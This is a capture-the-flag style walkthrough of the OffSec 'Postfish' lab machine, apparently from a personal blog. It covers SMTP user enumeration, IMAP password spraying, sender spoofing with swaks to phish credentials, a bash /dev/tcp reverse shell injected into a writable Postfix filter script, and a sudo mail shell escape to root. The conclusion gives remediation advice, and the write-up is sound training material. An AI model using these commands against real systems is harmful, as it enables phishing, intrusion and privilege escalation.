PT1 certified | OSCP in progress

Postfish – OffSec Practice Writeup

Postfish OffSec Proving Grounds Practice writeup cover

This Postfish OffSec Practice writeup walks through the Proving Grounds machine: SMTP user enumeration, mail-based credential phishing for an SSH foothold, and a writable Postfix content-filter plus sudo mail escalation to root.

Summary

Postfish is a mail-centric Linux host that exposes a full Postfix + Dovecot stack: SMTP for sending, POP3 and IMAP for retrieval, each with its TLS variant. The web surface is empty, so the entire attack lives in the mail services.

The chain is: enumerate valid local users through the SMTP VRFY command, brute-force the Dovecot mail logins using each username as its own password, and read the mailbox we land in. That mailbox reveals an internal workflow where IT emails password-reset links to staff for an ERP system. Because the server performs no sender authentication (no SPF/DKIM/DMARC), we spoof the IT address and send our own "reset" link to a targeted user; their client posts their new credentials straight back to our listener, giving us SSH.

For root, the foothold user belongs to a filter group that owns a writable Postfix content-filter (disclaimer) script that runs on every outbound email. We inject a reverse shell into it, trigger a mail flow, and land as the filter service account — which has passwordless sudo on /usr/bin/mail, a binary with a built-in shell escape that yields root.


Reconnaissance

I start with a full port sweep. RustScan races through all 65535 TCP ports and then hands the open ones to Nmap for service and script detection (-A enables OS detection, version detection, default scripts and traceroute):

rustscan -a 192.168.174.137 -- -A -oN target
PORTSERVICEINFO
22/tcpOpenSSH 8.2p1 Ubuntu 4ubuntu0.1Ubuntu Linux; protocol 2.0
25/tcpPostfix smtpdBanner postfish.off; VRFY enabled; PIPELINING, STARTTLS, SIZE 10240000
80/tcpApache httpd 2.4.41 (Ubuntu)No site title; methods HEAD, GET, POST, OPTIONS
110/tcpDovecot pop3dCapabilities USER, SASL(PLAIN), STLS, TOP, UIDL
143/tcpDovecot imapdSTARTTLS, AUTH=PLAIN, IMAP4rev1
993/tcpDovecot imapd (IMAPS)Implicit TLS; cert CN=ubuntu
995/tcpDovecot pop3d (POP3S)Implicit TLS; cert CN=ubuntu

Seven open ports, and six of them are mail. That shape — SMTP on 25 plus Dovecot’s POP3/IMAP quartet — tells us the box is a mail server and the mail stack is the intended attack surface.

Two details from the Nmap scripts matter immediately. First, the SMTP banner leaks the internal hostname postfish.off, so I map it in my hosts file in case anything is virtual-host aware:

echo "192.168.174.137 postfish.off" | sudo tee -a /etc/hosts

Second, the SMTP smtp-commands script lists VRFY as a supported command. VRFY is an SMTP verb that asks the server to confirm whether a given mailbox exists locally — a built-in user-enumeration oracle when left enabled.

Before committing to mail, I confirm the web and DNS surfaces are dead ends. Virtual-host fuzzing sends the wordlist as Host: headers and filters out the default response size (-fs 83), so only a different-sized (i.e. real) vhost would show. Nothing does:

ffuf -u http://postfish.off -H "Host: FUZZ.postfish.off" \
     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 83

Directory brute forcing is equally empty. Here -C 404,403 filters those status codes, -x appends common extensions to each word, and -r follows redirects:

feroxbuster -u http://postfish.off/ \
     -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
     -C 404,403 -x php,txt,html,zip,old -r -o feroxbuster.txt

With HTTP exhausted, the mail stack is the only way in.


Initial access

1. SMTP user enumeration with VRFY

SMTP (Simple Mail Transfer Protocol) is the server-to-server mail protocol on port 25. It was designed in an era of implicit trust, so a vanilla configuration performs no sender verification and historically offered helper verbs like VRFY <user> (verify a mailbox) and EXPN <list> (expand an alias). When VRFY is enabled, the server answers differently for a real user versus a non-existent one, which turns it into a username oracle.

smtp-user-enum automates exactly this: for each name in the wordlist it issues a VRFY and records which ones the server confirms. -M VRFY selects the method, -U is the username list, -t the target:

smtp-user-enum -M VRFY -U /usr/share/wordlists/dirb/others/names.txt -t 192.168.174.137

A handful of accounts come back as valid local users:

192.168.174.137: Bin exists
192.168.174.137: Hr exists
192.168.174.137: Irc exists
192.168.174.137: Mail exists
192.168.174.137: Man exists
192.168.174.137: Sales exists
192.168.174.137: Sys exists

Several of these (Bin, Mail, Man, Sys) are standard Linux system accounts, but Hr and Sales look like real people/departments — exactly the kind of accounts that might have a weak, human-chosen password.

2. Brute-forcing the Dovecot mailboxes

A classic weak-credential pattern is a password equal to the username. I build a small list from the enumerated names and spray each account with its own name as the password, including case variations (Sales, sales, SALES) because Dovecot authentication can be case-sensitive. Hydra drives the Dovecot IMAP login; -L is the user list, -P the password list, and the imap:// module targets port 143:

hydra -L users.txt -P password.txt imap://192.168.174.137

It lands a hit:

[DATA] attacking imap://192.168.174.137:143/
[143][imap] host: 192.168.174.137   login: Sales   password: sales

The Sales mailbox uses sales as its password.

3. Reading the mailbox over POP3

POP3 (port 110) retrieves mail with a simple text protocol: USER and PASS to authenticate, STAT/LIST to see what’s there, and RETR <n> to download a message. The same credentials work here, so I log in with plain telnet and read the single message in the box:

telnet 192.168.174.137 110
+OK Dovecot (Ubuntu) ready.
USER Sales
+OK
PASS sales
+OK Logged in.
STAT
+OK 1 683
RETR 1
Return-Path: <it@postfish.off>
X-Original-To: sales@postfish.off
Subject: ERP Registration Reminder
From: it@postfish.off

Hi Sales team,

We will be sending out password reset links in the upcoming week so that
we can get you registered on the ERP system.

Regards,
IT

This is the pivot. The message tells us there is a workflow in which IT sends password-reset links from it@postfish.off, and recipients act on whatever link they receive. Combined with the fact that this Postfix accepts mail without sender authentication, we can impersonate it@postfish.off and deliver our own link to a real user, then capture whatever their client submits.

Spoofing works here because the domain publishes no SPF, DKIM or DMARC records, and the local Postfix accepts a MAIL FROM of it@postfish.off without challenge. There is nothing to prevent us from forging the sender.

I target brian.moore@postfish.off (a plausible internal user). First I start a listener on port 80 so I can see exactly what the victim’s automated client sends back — the box simulates the user receiving the mail, following the link, and posting a registration form:

nc -nlvp 80

Then I send the spoofed email with swaks, the Swiss Army Knife for SMTP. --from sets the forged envelope sender, --to the victim, --server/--port the target MTA, and --header/--body the message content containing my attacker-controlled link:

swaks --from it@postfish.off --to brian.moore@postfish.off \
      --server postfish.off --port 25 \
      --header 'Subject: Password reset' \
      --body 'This is the link to reset the password: http://192.168.45.211/'

Moments later the victim "clicks" the link and POSTs the ERP registration form to my listener, leaking the credentials in the body:

connect to [192.168.45.211] from (UNKNOWN) [192.168.174.137]
POST / HTTP/1.1
Host: 192.168.45.211
User-Agent: curl/7.68.0
Content-Type: application/x-www-form-urlencoded

first_name=Brian&last_name=Moore&email=brian.moore@postfish.off
&username=brian.moore&password=EternaLSunshinE&confirm_password=EternaLSunshinE

The form hands us brian.moore : EternaLSunshinE.

5. SSH foothold

Those credentials are reused for SSH, giving an interactive shell and the user flag:

ssh brian.moore@192.168.174.137
# password: EternaLSunshinE
cat local.txt

Privilege escalation

1. Spotting the filter group

The first thing I check as a new user is my group membership. brian.moore is in two mail-related groups — mail and, unusually, filter:

id
# uid=1000(brian.moore) gid=1000(brian.moore) groups=1000(brian.moore),8(mail),997(filter)

A dedicated, non-standard group like filter almost always exists to own a specific file or service. I hunt for executables that group owns. find / -type f searches the whole filesystem for regular files, -group filter restricts to that group, -executable to runnable files, and 2>/dev/null hides the permission-denied noise:

find / -type f -group filter -executable 2>/dev/null
# /etc/postfix/disclaimer

2. The writable Postfix content filter

/etc/postfix/disclaimer is a Postfix content filter. Postfix can be configured (via master.cf) to pipe every message through an external program before delivery — here a shell script that uses altermime to append a legal disclaimer to the body and then re-injects the mail into the queue. The key property of a content filter is that Postfix executes it automatically on every message that flows through that transport, running it as the configured service identity (the filter account). That makes it an on-demand code-execution trigger: we don’t wait for a cron job, we just send an email.

Checking the permissions confirms the misconfiguration:

ls -la /etc/postfix/disclaimer
# -rwxrwx--- 1 root filter 1184 /etc/postfix/disclaimer

The file is owned by root but the group is filter with rwx — and we are in filter. So we can rewrite a script that a Postfix service runs for us.

3. Injecting a reverse shell

I append a reverse shell to the executable portion of the script. The one-liner bash -i >& /dev/tcp/192.168.45.211/4444 0>&1 opens an interactive Bash whose standard output/error are redirected to a TCP socket to my host on 4444, and whose standard input is read back from the same socket — a full interactive shell over the network, using Bash’s built-in /dev/tcp pseudo-device (no extra tooling on the target). The trailing & backgrounds it so the disclaimer logic keeps running and mail still delivers normally, keeping the escalation quiet:

echo '/bin/bash -c "bash -i >& /dev/tcp/192.168.45.211/4444 0>&1" &' >> /etc/postfix/disclaimer

With a listener ready on the attacker side:

nc -nlvp 4444

I trigger the filter by pushing any message through Postfix — re-sending the same spoofed reset email from earlier does it. The filter executes my injected line and I catch a shell as the service account:

id
# uid=997(filter) gid=997(filter) groups=997(filter)

4. sudo mail to root via GTFOBins

The new identity is more privileged than it looks. Checking its sudo rights:

sudo -l
User filter may run the following commands on postfish:
    (ALL) NOPASSWD: /usr/bin/mail *

filter may run /usr/bin/mail as root with no password. The mail (mailx) client has an interactive command mode, and its ~! / ! escape sequence runs a shell command — a documented GTFOBins technique (https://gtfobins.github.io/gtfobins/mail/). The --exec option feeds mailx commands non-interactively, so --exec='!/bin/sh' tells it to shell out immediately. Because sudo launches mail as root, the spawned shell inherits root:

sudo mail --exec='!/bin/sh'
# id
# uid=0(root) gid=0(root) groups=0(root)

And the root flag:

cat /root/proof.txt

Conclusion

Postfish is a clinic in mail-infrastructure misconfiguration, where every step depends on the mail stack trusting input it should have authenticated or constrained:

  • SMTP VRFY left enabled handed us a precise list of valid local users — the seed for everything else. Disabling it (disable_vrfy_command = yes in main.cf) removes the oracle.
  • Weak, guessable mailbox passwords (username = password) made the brute force trivial. Mail accounts need the same password policy and lockout protection as any other login surface.
  • No sender authentication (SPF/DKIM/DMARC) plus a "click the reset link" habit let us impersonate IT and phish a user’s credentials out of their own client. Email identity controls and user awareness break that chain.
  • A group-writable content-filter script executed by a service account turned mailbox-group membership into code execution as filter. Anything referenced by master.cf must be root-owned and non-writable by service or foothold groups.
  • Passwordless sudo on mail — a binary with a built-in shell escape — collapsed the last gap to root. GTFOBins binaries should never appear in sudoers without heavy constraint.

The through-line: treat mail services as a first-class attack surface, audit group-owned executables that daemons run, and never grant sudo on binaries that can shell out.


Lessons learned

  • VRFY/EXPN/RCPT TO are free user enumeration — always test SMTP for them first; a valid user list feeds both brute force and later phishing.
  • Username-as-password is a high-yield first spray on mail logins; test case variations (Sales, sales, SALES) because Dovecot auth may be case-sensitive.
  • POP3/IMAP are credential stores, not just login targets — once in a mailbox, read every message for internal workflows (reset links, onboarding, shared creds) that unlock the next step.
  • Spoofing works whenever SPF/DKIM/DMARC are absent; swaks --from <spoofed> plus a listener on port 80 is enough to harvest whatever a victim’s client submits.
  • On a foothold, enumerate group-owned executables: find / -type f -group $(id -gn) -executable 2>/dev/null. An unusual service group like filter is a strong privesc signal.
  • Postfix content-filter / disclaimer scripts run on-demand — you trigger them by sending mail, so no cron wait is needed to fire an injected payload.
Index